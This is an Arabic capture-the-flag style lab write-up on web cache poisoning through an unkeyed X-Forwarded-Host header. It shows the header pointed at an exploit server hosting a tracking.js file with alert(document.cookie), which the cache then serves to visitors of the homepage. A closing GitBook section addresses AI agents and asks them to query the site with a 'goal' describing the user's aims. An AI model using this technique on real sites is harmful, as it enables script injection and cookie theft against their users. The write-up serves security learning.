> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md).
# تسميم ذاكرة التخزين المؤقت برأس غير مُمفهرس
### تسميم ذاكرة التخزين المؤقت للويب باستخدام ترويسة غير مفهرسة
هذا التطبيق معرّض لِـ **تسميم ذاكرة التخزين المؤقت للويب** لأنه يتعامل بشكل خطير مع إدخال من **ترويسة غير مفهرسة**. / يزور مستخدم شرعي الصفحة الرئيسية للموقع بانتظام.
\*\*الهدف:\*\*/ تسميم ذاكرة التخزين المؤقت بحيث تعرض الصفحة الرئيسية استجابةً تنفّذ `alert(document.cookie)` في متصفح الضحية.
**تحليل سلوك ذاكرة التخزين المؤقت**
* عند اعتراض الطلب إلى الصفحة الرئيسية، يظهر **`العمر`** في الاستجابة، مما يشير إلى أن المورد مخزّن مؤقتًا لمدة **30 ثانية**.
* إضافة معلمة عشوائية إلى الرابط، على سبيل المثال `?test=1`، يوضح أن:
* يُعاد توليد مفتاح ذاكرة التخزين المؤقت.
* يمكن تعديل المحتوى المخزّن مؤقتًا وتقديمه لمستخدمين آخرين أثناء صلاحية ذاكرة التخزين المؤقت.
إذا تمكن أحدهم من تسميم الاستجابة الجذرية (`/`)، فسيشاهد أي زائر هذا المحتوى الخبيث خلال هذه الـ30 ثانية
**ابحث عن ترويسات قابلة للاستغلال**
* باستخدام **Param Miner** في Burp Suite:
* نظرًا لأن **Repeater**، فإن الدالة **تخمين الترويسات** تُستخدم.
تكتشف الإضافة سلوك تسميم لذاكرة التخزين المؤقت المرتبطة بالترويسة **`X-Forwarded-Host`**.
**عملية ترويسة غير مفهرسة**
* تُضاف الترويسة التالية إلى الطلب:
```http
X-Forwarded-Host: test.com
```
* وتتضمن الاستجابة بعد ذلك تحميل مورد JavaScript من هذا النطاق.
* عند إعادة التحميل، يحاول التطبيق دائمًا استرجاع هذا السكربت، مما يؤكد أن الاستجابة مخزّنة مؤقتًا.
**إعادة التوجيه إلى خادم الاستغلال**
* تُستبدل قيمة الترويسة بـ **نطاق الخادم**:
```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```
يسعى التطبيق بعد ذلك إلى تحميل المورد التالي:
**حقن حمولة خبيثة**
* على خادم الاستغلال، تنشئ الملف:
```javascript
/resources/js/tracking.js
```
محتوى الملف:
```javascript
alert(document.cookie)
```
* أصبح هذا السكربت الآن مضمّنًا في الاستجابة المخزّنة مؤقتًا.
**النتيجة**
* عندما يزور مستخدم الصفحة الرئيسية خلال فترة صلاحية ذاكرة التخزين المؤقت:
* يقوم المتصفح بتحميل السكربت المسموم.
* تظهر نافذة حوار تحتوي على `document.cookie`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.